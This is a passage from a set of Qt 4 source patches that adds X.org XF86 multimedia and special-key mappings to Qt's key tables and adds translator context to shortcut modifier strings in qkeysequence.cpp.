+#define XF86XK_SplitScreen         0x1008FF7D
+#define XF86XK_Support             0x1008FF7E
+#define XF86XK_TaskPane            0x1008FF7F
+#define XF86XK_Terminal            0x1008FF80
+#define XF86XK_Tools               0x1008FF81
+#define XF86XK_Travel              0x1008FF82
+#define XF86XK_Video               0x1008FF87
+#define XF86XK_Word                0x1008FF89
+#define XF86XK_Xfer                0x1008FF8A
+#define XF86XK_ZoomIn              0x1008FF8B
+#define XF86XK_ZoomOut             0x1008FF8C
+#define XF86XK_Away                0x1008FF8D
+#define XF86XK_Messenger           0x1008FF8E
+#define XF86XK_WebCam              0x1008FF8F
+#define XF86XK_MailForward         0x1008FF90
+#define XF86XK_Pictures            0x1008FF91
+#define XF86XK_Music               0x1008FF92
+#define XF86XK_Battery             0x1008FF93
+#define XF86XK_Bluetooth           0x1008FF94
+#define XF86XK_WLAN                0x1008FF95
+#define XF86XK_UWB                 0x1008FF96
+#define XF86XK_AudioForward        0x1008FF97
+#define XF86XK_AudioRepeat         0x1008FF98
+#define XF86XK_AudioRandomPlay     0x1008FF99
+#define XF86XK_Subtitle            0x1008FF9A
+#define XF86XK_AudioCycleTrack     0x1008FF9B
+#define XF86XK_Time                0x1008FF9F
+#define XF86XK_Select              0x1008FFA0
+#define XF86XK_View                0x1008FFA1
+#define XF86XK_TopMenu             0x1008FFA2
+#define XF86XK_Suspend             0x1008FFA7
+#define XF86XK_Hibernate           0x1008FFA8
+
+
 // end of XF86keysyms.h
 
 // Special keys used by Qtopia, mapped into the X11 private keypad range.
@@ -942,10 +1039,8 @@ static const unsigned int KeyTbl[] = {
     XK_dead_hook,               Qt::Key_Dead_Hook,
     XK_dead_horn,               Qt::Key_Dead_Horn,
 
-    // Special multimedia keys
-    // currently only tested with MS internet keyboard
-
-    // browsing keys
+    // Special keys from X.org - This include multimedia keys,
+	// wireless/bluetooth/uwb keys, special launcher keys, etc.
     XF86XK_Back,                Qt::Key_Back,
     XF86XK_Forward,             Qt::Key_Forward,
     XF86XK_Stop,                Qt::Key_Stop,
@@ -955,8 +1050,6 @@ static const unsigned int KeyTbl[] = {
     XF86XK_OpenURL,             Qt::Key_OpenUrl,
     XF86XK_HomePage,            Qt::Key_HomePage,
     XF86XK_Search,              Qt::Key_Search,
-
-    // media keys
     XF86XK_AudioLowerVolume,    Qt::Key_VolumeDown,
     XF86XK_AudioMute,           Qt::Key_VolumeMute,
     XF86XK_AudioRaiseVolume,    Qt::Key_VolumeUp,
@@ -965,13 +1058,106 @@ static const unsigned int KeyTbl[] = {
     XF86XK_AudioPrev,           Qt::Key_MediaPrevious,
     XF86XK_AudioNext,           Qt::Key_MediaNext,
     XF86XK_AudioRecord,         Qt::Key_MediaRecord,
-
-    // launch keys
     XF86XK_Mail,                Qt::Key_LaunchMail,
     XF86XK_MyComputer,          Qt::Key_Launch0,
-    XF86XK_Calculator,          Qt::Key_Launch1,
+    XF86XK_Calculator,          Qt::Key_Calculator,
+    XF86XK_Memo,                Qt::Key_Memo,
+    XF86XK_ToDoList,            Qt::Key_ToDoList,
+    XF86XK_Calendar,            Qt::Key_Calendar,
+    XF86XK_PowerDown,           Qt::Key_PowerDown,
+    XF86XK_ContrastAdjust,      Qt::Key_ContrastAdjust,
     XF86XK_Standby,             Qt::Key_Standby,
-
+    XF86XK_MonBrightnessUp,     Qt::Key_MonBrightnessUp,
+    XF86XK_MonBrightnessDown,   Qt::Key_MonBrightnessDown,
+    XF86XK_KbdLightOnOff,       Qt::Key_KeyboardLightOnOff,
+    XF86XK_KbdBrightnessUp,     Qt::Key_KeyboardBrightnessUp,
+    XF86XK_KbdBrightnessDown,   Qt::Key_KeyboardBrightnessDown,
+    XF86XK_PowerOff,            Qt::Key_PowerOff,
+    XF86XK_WakeUp,              Qt::Key_WakeUp,
+    XF86XK_Eject,               Qt::Key_Eject,
+    XF86XK_ScreenSaver,         Qt::Key_ScreenSaver,
+    XF86XK_WWW,                 Qt::Key_WWW,
+    XF86XK_Sleep,               Qt::Key_Sleep,
+    XF86XK_LightBulb,           Qt::Key_LightBulb,
+    XF86XK_Shop,                Qt::Key_Shop,
+    XF86XK_History,             Qt::Key_History,
+    XF86XK_AddFavorite,         Qt::Key_AddFavorite,
+    XF86XK_HotLinks,            Qt::Key_HotLinks,
+    XF86XK_BrightnessAdjust,    Qt::Key_BrightnessAdjust,
+    XF86XK_Finance,             Qt::Key_Finance,
+    XF86XK_Community,           Qt::Key_Community,
+    XF86XK_AudioRewind,         Qt::Key_AudioRewind,
+    XF86XK_BackForward,         Qt::Key_BackForward,
+    XF86XK_ApplicationLeft,     Qt::Key_ApplicationLeft,
+    XF86XK_ApplicationRight,    Qt::Key_ApplicationRight,
+    XF86XK_Book,                Qt::Key_Book,
+    XF86XK_CD,                  Qt::Key_CD,
+    XF86XK_Calculater,          Qt::Key_Calculator,
+    XF86XK_Clear,               Qt::Key_Clear,
+    XF86XK_ClearGrab,           Qt::Key_ClearGrab,
+    XF86XK_Close,               Qt::Key_Close,
+    XF86XK_Copy,                Qt::Key_Copy,
+    XF86XK_Cut,                 Qt::Key_Cut,
+    XF86XK_Display,             Qt::Key_Display,
+    XF86XK_DOS,                 Qt::Key_DOS,
+    XF86XK_Documents,           Qt::Key_Documents,
+    XF86XK_Excel,               Qt::Key_Excel,
+    XF86XK_Explorer,            Qt::Key_Explorer,
+    XF86XK_Game,                Qt::Key_Game,
+    XF86XK_Go,                  Qt::Key_Go,
+    XF86XK_iTouch,              Qt::Key_iTouch,
+    XF86XK_LogOff,              Qt::Key_LogOff,
+    XF86XK_Market,              Qt::Key_Market,
+    XF86XK_Meeting,             Qt::Key_Meeting,
+    XF86XK_MenuKB,              Qt::Key_MenuKB,
+    XF86XK_MenuPB,              Qt::Key_MenuPB,
+    XF86XK_MySites,             Qt::Key_MySites,
+    XF86XK_News,                Qt::Key_News,
+    XF86XK_OfficeHome,          Qt::Key_OfficeHome,
+    XF86XK_Option,              Qt::Key_Option,
+    XF86XK_Paste,               Qt::Key_Paste,
+    XF86XK_Phone,               Qt::Key_Phone,
+    XF86XK_Reply,               Qt::Key_Reply,
+    XF86XK_Reload,              Qt::Key_Reload,
+    XF86XK_RotateWindows,       Qt::Key_RotateWindows,
+    XF86XK_RotationPB,          Qt::Key_RotationPB,
+    XF86XK_RotationKB,          Qt::Key_RotationKB,
+    XF86XK_Save,                Qt::Key_Save,
+    XF86XK_Send,                Qt::Key_Send,
+    XF86XK_Spell,               Qt::Key_Spell,
+    XF86XK_SplitScreen,         Qt::Key_SplitScreen,
+    XF86XK_Support,             Qt::Key_Support,
+    XF86XK_TaskPane,            Qt::Key_TaskPane,
+    XF86XK_Terminal,            Qt::Key_Terminal,
+    XF86XK_Tools,               Qt::Key_Tools,
+    XF86XK_Travel,              Qt::Key_Travel,
+    XF86XK_Video,               Qt::Key_Video,
+    XF86XK_Word,                Qt::Key_Word,
+    XF86XK_Xfer,                Qt::Key_Xfer,
+    XF86XK_ZoomIn,              Qt::Key_ZoomIn,
+    XF86XK_ZoomOut,             Qt::Key_ZoomOut,
+    XF86XK_Away,                Qt::Key_Away,
+    XF86XK_Messenger,           Qt::Key_Messenger,
+    XF86XK_WebCam,              Qt::Key_WebCam,
+    XF86XK_MailForward,         Qt::Key_MailForward,
+    XF86XK_Pictures,            Qt::Key_Pictures,
+    XF86XK_Music,               Qt::Key_Music,
+    XF86XK_Battery,             Qt::Key_Battery,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_WLAN,                Qt::Key_WLAN,
+    XF86XK_UWB,                 Qt::Key_UWB,
+    XF86XK_AudioForward,        Qt::Key_AudioForward,
+    XF86XK_AudioRepeat,         Qt::Key_AudioRepeat,
+    XF86XK_AudioRandomPlay,     Qt::Key_AudioRandomPlay,
+    XF86XK_Subtitle,            Qt::Key_Subtitle,
+    XF86XK_AudioCycleTrack,     Qt::Key_AudioCycleTrack,
+    XF86XK_Time,                Qt::Key_Time,
+    XF86XK_Select,              Qt::Key_Select,
+    XF86XK_View,                Qt::Key_View,
+    XF86XK_TopMenu,             Qt::Key_TopMenu,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_Suspend,             Qt::Key_Suspend,
+    XF86XK_Hibernate,           Qt::Key_Hibernate,
     XF86XK_Launch0,             Qt::Key_Launch2,
     XF86XK_Launch1,             Qt::Key_Launch3,
     XF86XK_Launch2,             Qt::Key_Launch4,
diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..665c058 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -396,47 +396,139 @@ static const struct {
     { Qt::Key_Menu,         QT_TRANSLATE_NOOP("QShortcut", "Menu") },
     { Qt::Key_Help,         QT_TRANSLATE_NOOP("QShortcut", "Help") },
 
-    // Multimedia keys
-    { Qt::Key_Back,         QT_TRANSLATE_NOOP("QShortcut", "Back") },
-    { Qt::Key_Forward,      QT_TRANSLATE_NOOP("QShortcut", "Forward") },
-    { Qt::Key_Stop,         QT_TRANSLATE_NOOP("QShortcut", "Stop") },
-    { Qt::Key_Refresh,      QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
-    { Qt::Key_VolumeDown,   QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
-    { Qt::Key_VolumeMute,   QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
-    { Qt::Key_VolumeUp,     QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
-    { Qt::Key_BassBoost,    QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
-    { Qt::Key_BassUp,       QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
-    { Qt::Key_BassDown,     QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
-    { Qt::Key_TrebleUp,     QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
-    { Qt::Key_TrebleDown,   QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
-    { Qt::Key_MediaPlay,    QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
-    { Qt::Key_MediaStop,    QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
-    { Qt::Key_MediaPrevious,QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
-    { Qt::Key_MediaNext,    QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
-    { Qt::Key_MediaRecord,  QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
-    { Qt::Key_HomePage,     QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
-    { Qt::Key_Favorites,    QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
-    { Qt::Key_Search,       QT_TRANSLATE_NOOP("QShortcut", "Search") },
-    { Qt::Key_Standby,      QT_TRANSLATE_NOOP("QShortcut", "Standby") },
-    { Qt::Key_OpenUrl,      QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
-    { Qt::Key_LaunchMail,   QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
-    { Qt::Key_LaunchMedia,  QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
-    { Qt::Key_Launch0,      QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
-    { Qt::Key_Launch1,      QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
-    { Qt::Key_Launch2,      QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
-    { Qt::Key_Launch3,      QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
-    { Qt::Key_Launch4,      QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
-    { Qt::Key_Launch5,      QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
-    { Qt::Key_Launch6,      QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
-    { Qt::Key_Launch7,      QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
-    { Qt::Key_Launch8,      QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
-    { Qt::Key_Launch9,      QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
-    { Qt::Key_LaunchA,      QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
-    { Qt::Key_LaunchB,      QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
-    { Qt::Key_LaunchC,      QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
-    { Qt::Key_LaunchD,      QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
-    { Qt::Key_LaunchE,      QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
-    { Qt::Key_LaunchF,      QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    // Special keys
+    // Includes multimedia, launcher, lan keys ( bluetooth, wireless )
+    // window navigation
+    { Qt::Key_Back,                       QT_TRANSLATE_NOOP("QShortcut", "Back") },
+    { Qt::Key_Forward,                    QT_TRANSLATE_NOOP("QShortcut", "Forward") },
+    { Qt::Key_Stop,                       QT_TRANSLATE_NOOP("QShortcut", "Stop") },
+    { Qt::Key_Refresh,                    QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
+    { Qt::Key_VolumeDown,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
+    { Qt::Key_VolumeMute,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
+    { Qt::Key_VolumeUp,                   QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
+    { Qt::Key_BassBoost,                  QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
+    { Qt::Key_BassUp,                     QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
+    { Qt::Key_BassDown,                   QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
+    { Qt::Key_TrebleUp,                   QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
+    { Qt::Key_TrebleDown,                 QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
+    { Qt::Key_MediaPlay,                  QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
+    { Qt::Key_MediaStop,                  QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
+    { Qt::Key_MediaPrevious,              QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
+    { Qt::Key_MediaNext,                  QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
+    { Qt::Key_MediaRecord,                QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
+    { Qt::Key_HomePage,                   QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
+    { Qt::Key_Favorites,                  QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
+    { Qt::Key_Search,                     QT_TRANSLATE_NOOP("QShortcut", "Search") },
+    { Qt::Key_Standby,                    QT_TRANSLATE_NOOP("QShortcut", "Standby") },
+    { Qt::Key_OpenUrl,                    QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
+    { Qt::Key_LaunchMail,                 QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
+    { Qt::Key_LaunchMedia,                QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
+    { Qt::Key_Launch0,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
+    { Qt::Key_Launch1,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
+    { Qt::Key_Launch2,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
+    { Qt::Key_Launch3,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
+    { Qt::Key_Launch4,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
+    { Qt::Key_Launch5,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
+    { Qt::Key_Launch6,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
+    { Qt::Key_Launch7,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
+    { Qt::Key_Launch8,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
+    { Qt::Key_Launch9,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
+    { Qt::Key_LaunchA,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
+    { Qt::Key_LaunchB,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
+    { Qt::Key_LaunchC,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
+    { Qt::Key_LaunchD,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
+    { Qt::Key_LaunchE,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
+    { Qt::Key_LaunchF,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    { Qt::Key_MonBrightnessUp,            QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Up") },
+    { Qt::Key_MonBrightnessDown,          QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Down") },
+    { Qt::Key_KeyboardLightOnOff,         QT_TRANSLATE_NOOP("QShortcut", "Keyboard Light On/Off") },
+    { Qt::Key_KeyboardBrightnessUp,       QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Up") },
+    { Qt::Key_KeyboardBrightnessDown,     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Down") },
+    { Qt::Key_PowerOff,                   QT_TRANSLATE_NOOP("QShortcut", "Power Off") },
+    { Qt::Key_WakeUp,                     QT_TRANSLATE_NOOP("QShortcut", "Wake Up") },
+    { Qt::Key_Eject,                      QT_TRANSLATE_NOOP("QShortcut", "Eject") },
+    { Qt::Key_ScreenSaver,                QT_TRANSLATE_NOOP("QShortcut", "Screensaver") },
+    { Qt::Key_WWW,                        QT_TRANSLATE_NOOP("QShortcut", "WWW") },
+    { Qt::Key_Sleep,                      QT_TRANSLATE_NOOP("QShortcut", "Sleep") },
+    { Qt::Key_LightBulb,                  QT_TRANSLATE_NOOP("QShortcut", "LightBulb") },
+    { Qt::Key_Shop,                       QT_TRANSLATE_NOOP("QShortcut", "Shop") },
+    { Qt::Key_History,                    QT_TRANSLATE_NOOP("QShortcut", "History") },
+    { Qt::Key_AddFavorite,                QT_TRANSLATE_NOOP("QShortcut", "Add Favorite") },
+    { Qt::Key_HotLinks,                   QT_TRANSLATE_NOOP("QShortcut", "Hot Links") },
+    { Qt::Key_BrightnessAdjust,           QT_TRANSLATE_NOOP("QShortcut", "Adjust Brightness") },
+    { Qt::Key_Finance,                    QT_TRANSLATE_NOOP("QShortcut", "Finance") },
+    { Qt::Key_Community,                  QT_TRANSLATE_NOOP("QShortcut", "Community") },
+    { Qt::Key_AudioRewind,                QT_TRANSLATE_NOOP("QShortcut", "Audio Rewind") },
+    { Qt::Key_BackForward,                QT_TRANSLATE_NOOP("QShortcut", "Back Forward") },
+    { Qt::Key_ApplicationLeft,            QT_TRANSLATE_NOOP("QShortcut", "Application Left") },
+    { Qt::Key_ApplicationRight,           QT_TRANSLATE_NOOP("QShortcut", "Application Right") },
+    { Qt::Key_Book,                       QT_TRANSLATE_NOOP("QShortcut", "Book") },
+    { Qt::Key_CD,                         QT_TRANSLATE_NOOP("QShortcut", "CD") },
+    { Qt::Key_Calculator,                 QT_TRANSLATE_NOOP("QShortcut", "Calculator") },
+    { Qt::Key_Clear,                      QT_TRANSLATE_NOOP("QShortcut", "Clear") },
+    { Qt::Key_ClearGrab,                  QT_TRANSLATE_NOOP("QShortcut", "Clear Grab") },
+    { Qt::Key_Close,                      QT_TRANSLATE_NOOP("QShortcut", "Close") },
+    { Qt::Key_Copy,                       QT_TRANSLATE_NOOP("QShortcut", "Copy") },
+    { Qt::Key_Cut,                        QT_TRANSLATE_NOOP("QShortcut", "Cut") },
+    { Qt::Key_Display,                    QT_TRANSLATE_NOOP("QShortcut", "Display") },
+    { Qt::Key_DOS,                        QT_TRANSLATE_NOOP("QShortcut", "DOS") },
+    { Qt::Key_Documents,                  QT_TRANSLATE_NOOP("QShortcut", "Documents") },
+    { Qt::Key_Excel,                      QT_TRANSLATE_NOOP("QShortcut", "Spreadsheet") },
+    { Qt::Key_Explorer,                   QT_TRANSLATE_NOOP("QShortcut", "Browser") },
+    { Qt::Key_Game,                       QT_TRANSLATE_NOOP("QShortcut", "Game") },
+    { Qt::Key_Go,                         QT_TRANSLATE_NOOP("QShortcut", "Go") },
+    { Qt::Key_iTouch,                     QT_TRANSLATE_NOOP("QShortcut", "iTouch") },
+    { Qt::Key_LogOff,                     QT_TRANSLATE_NOOP("QShortcut", "Logoff") },
+    { Qt::Key_Market,                     QT_TRANSLATE_NOOP("QShortcut", "Market") },
+    { Qt::Key_Meeting,                    QT_TRANSLATE_NOOP("QShortcut", "Meeting") },
+    { Qt::Key_MenuKB,                     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Menu") },
+    { Qt::Key_MenuPB,                     QT_TRANSLATE_NOOP("QShortcut", "Menu PB") },
+    { Qt::Key_MySites,                    QT_TRANSLATE_NOOP("QShortcut", "My Sites") },
+    { Qt::Key_News,                       QT_TRANSLATE_NOOP("QShortcut", "News") },
+    { Qt::Key_OfficeHome,                 QT_TRANSLATE_NOOP("QShortcut", "Home Office") },
+    { Qt::Key_Option,                     QT_TRANSLATE_NOOP("QShortcut", "Option") },
+    { Qt::Key_Paste,                      QT_TRANSLATE_NOOP("QShortcut", "Paste") },
+    { Qt::Key_Phone,                      QT_TRANSLATE_NOOP("QShortcut", "Phone") },
+    { Qt::Key_Reply,                      QT_TRANSLATE_NOOP("QShortcut", "Reply") },
+    { Qt::Key_Reload,                     QT_TRANSLATE_NOOP("QShortcut", "Reload") },
+    { Qt::Key_RotateWindows,              QT_TRANSLATE_NOOP("QShortcut", "Rotate Windows") },
+    { Qt::Key_RotationPB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation PB") },
+    { Qt::Key_RotationKB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation KB") },
+    { Qt::Key_Save,                       QT_TRANSLATE_NOOP("QShortcut", "Save") },
+    { Qt::Key_Send,                       QT_TRANSLATE_NOOP("QShortcut", "Send") },
+    { Qt::Key_Spell,                      QT_TRANSLATE_NOOP("QShortcut", "Spellchecker") },
+    { Qt::Key_SplitScreen,                QT_TRANSLATE_NOOP("QShortcut", "Split Screen") },
+    { Qt::Key_Support,                    QT_TRANSLATE_NOOP("QShortcut", "Support") },
+    { Qt::Key_TaskPane,                   QT_TRANSLATE_NOOP("QShortcut", "Task Panel") },
+    { Qt::Key_Terminal,                   QT_TRANSLATE_NOOP("QShortcut", "Terminal") },
+    { Qt::Key_Tools,                      QT_TRANSLATE_NOOP("QShortcut", "Tools") },
+    { Qt::Key_Travel,                     QT_TRANSLATE_NOOP("QShortcut", "Travel") },
+    { Qt::Key_Video,                      QT_TRANSLATE_NOOP("QShortcut", "Video") },
+    { Qt::Key_Word,                       QT_TRANSLATE_NOOP("QShortcut", "Word Processor") },
+    { Qt::Key_Xfer,                       QT_TRANSLATE_NOOP("QShortcut", "XFer") },
+    { Qt::Key_ZoomIn,                     QT_TRANSLATE_NOOP("QShortcut", "Zoom In") },
+    { Qt::Key_ZoomOut,                    QT_TRANSLATE_NOOP("QShortcut", "Zoom Out") },
+    { Qt::Key_Away,                       QT_TRANSLATE_NOOP("QShortcut", "Away") },
+    { Qt::Key_Messenger,                  QT_TRANSLATE_NOOP("QShortcut", "Messenger") },
+    { Qt::Key_WebCam,                     QT_TRANSLATE_NOOP("QShortcut", "WebCam") },
+    { Qt::Key_MailForward,                QT_TRANSLATE_NOOP("QShortcut", "Mail Forward") },
+    { Qt::Key_Pictures,                   QT_TRANSLATE_NOOP("QShortcut", "Pictures") },
+    { Qt::Key_Music,                      QT_TRANSLATE_NOOP("QShortcut", "Music") },
+    { Qt::Key_Battery,                    QT_TRANSLATE_NOOP("QShortcut", "Battery") },
+    { Qt::Key_Bluetooth,                  QT_TRANSLATE_NOOP("QShortcut", "Bluetooth") },
+    { Qt::Key_WLAN,                       QT_TRANSLATE_NOOP("QShortcut", "Wireless") },
+    { Qt::Key_UWB,                        QT_TRANSLATE_NOOP("QShortcut", "Ultra Wide Band") },
+    { Qt::Key_AudioForward,               QT_TRANSLATE_NOOP("QShortcut", "Audio Forward") },
+    { Qt::Key_AudioRepeat,                QT_TRANSLATE_NOOP("QShortcut", "Audio Repeat") },
+    { Qt::Key_AudioRandomPlay,            QT_TRANSLATE_NOOP("QShortcut", "Audio Random Play") },
+    { Qt::Key_Subtitle,                   QT_TRANSLATE_NOOP("QShortcut", "Subtitle") },
+    { Qt::Key_AudioCycleTrack,            QT_TRANSLATE_NOOP("QShortcut", "Audio Cycle Track") },
+    { Qt::Key_Time,                       QT_TRANSLATE_NOOP("QShortcut", "Time") },
+    { Qt::Key_Select,                     QT_TRANSLATE_NOOP("QShortcut", "Select") },
+    { Qt::Key_View,                       QT_TRANSLATE_NOOP("QShortcut", "View") },
+    { Qt::Key_TopMenu,                    QT_TRANSLATE_NOOP("QShortcut", "Top Menu") },
+    { Qt::Key_Suspend,                    QT_TRANSLATE_NOOP("QShortcut", "Suspend") },
+    { Qt::Key_Hibernate,                  QT_TRANSLATE_NOOP("QShortcut", "Hibernate") },
 
     // --------------------------------------------------------------
     // More consistent namings
-- 
1.6.5.1


0012-Add-context-to-tr-calls-in-QShortcut.patch:
 qkeysequence.cpp |   21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

--- NEW FILE 0012-Add-context-to-tr-calls-in-QShortcut.patch ---
>From 9eb3560cfd5cd0bc9c7bf79f2c27657ee07b8f95 Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 8 Aug 2009 14:40:25 +0200
Subject: [PATCH 12/13] Add context to tr calls in QShortcut

Some languages have special rules for using "+" to concatenate strings and
for example it needs to be Ctrl + Shift instead of Ctrl+Shift, adding
context to these strings helps creating a more correct translation
---
 src/gui/kernel/qkeysequence.cpp |   20 ++++++++++----------
 1 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..c17f253 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -991,10 +991,10 @@ int QKeySequencePrivate::decodeString(const QString &str, QKeySequence::Sequence
 
     QList<QModifKeyName> modifs;
     if (nativeText) {
-        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::META, QShortcut::tr("Meta").toLower().append(QLatin1Char('+')));
+        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift", "Shift key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt", "Alt key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::META, QShortcut::tr("Meta", "Meta key, used for shortcuts").toLower().append(QLatin1Char('+')));
     }
     modifs += *gmodifs; // Test non-translated ones last
 
@@ -1086,7 +1086,7 @@ QString QKeySequence::encodeString(int key)
 static inline void addKey(QString &str, const QString &theKey, QKeySequence::SequenceFormat format)
 {
     if (!str.isEmpty())
-        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+")
+        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+", "Symbol used to concatenate keys in shortcuts")
                                                     : QString::fromLatin1("+");
     str += theKey;
 }
@@ -1111,13 +1111,13 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
     {
         // On other systems the order is Meta, Control, Alt, Shift
         if ((key & Qt::META) == Qt::META)
-            s = nativeText ? QShortcut::tr("Meta") : QString::fromLatin1("Meta");
+            s = nativeText ? QShortcut::tr("Meta", "Meta key, used for shortcuts") : QString::fromLatin1("Meta");
         if ((key & Qt::CTRL) == Qt::CTRL)
-            addKey(s, nativeText ? QShortcut::tr("Ctrl") : QString::fromLatin1("Ctrl"), format);
+            addKey(s, nativeText ? QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts") : QString::fromLatin1("Ctrl"), format);
         if ((key & Qt::ALT) == Qt::ALT)
-            addKey(s, nativeText ? QShortcut::tr("Alt") : QString::fromLatin1("Alt"), format);
+            addKey(s, nativeText ? QShortcut::tr("Alt", "Alt key, used for shortcuts") : QString::fromLatin1("Alt"), format);
         if ((key & Qt::SHIFT) == Qt::SHIFT)
-            addKey(s, nativeText ? QShortcut::tr("Shift") : QString::fromLatin1("Shift"), format);
+            addKey(s, nativeText ? QShortcut::tr("Shift", "Shift key, used for shortcuts") : QString::fromLatin1("Shift"), format);
     }
 
 
@@ -1132,7 +1132,7 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
             p += QChar((key-0x10000)%400+0xdc00);
         }
     } else if (key >= Qt::Key_F1 && key <= Qt::Key_F35) {
-            p = nativeText ? QShortcut::tr("F%1").arg(key - Qt::Key_F1 + 1)
+            p = nativeText ? QShortcut::tr("F%1", "Fx key, used for shortcuts").arg(key - Qt::Key_F1 + 1)
                            : QString::fromLatin1("F%1").arg(key - Qt::Key_F1 + 1);
     } else if (key) {
         int i=0;
-- 
1.6.5.1


0013-Fix-QNativeImage-constructor.patch:
 qnativeimage.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0013-Fix-QNativeImage-constructor.patch ---
>From bfc22f6e7cafd99a60f970dfb9f4a159774ebc03 Mon Sep 17 00:00:00 2001
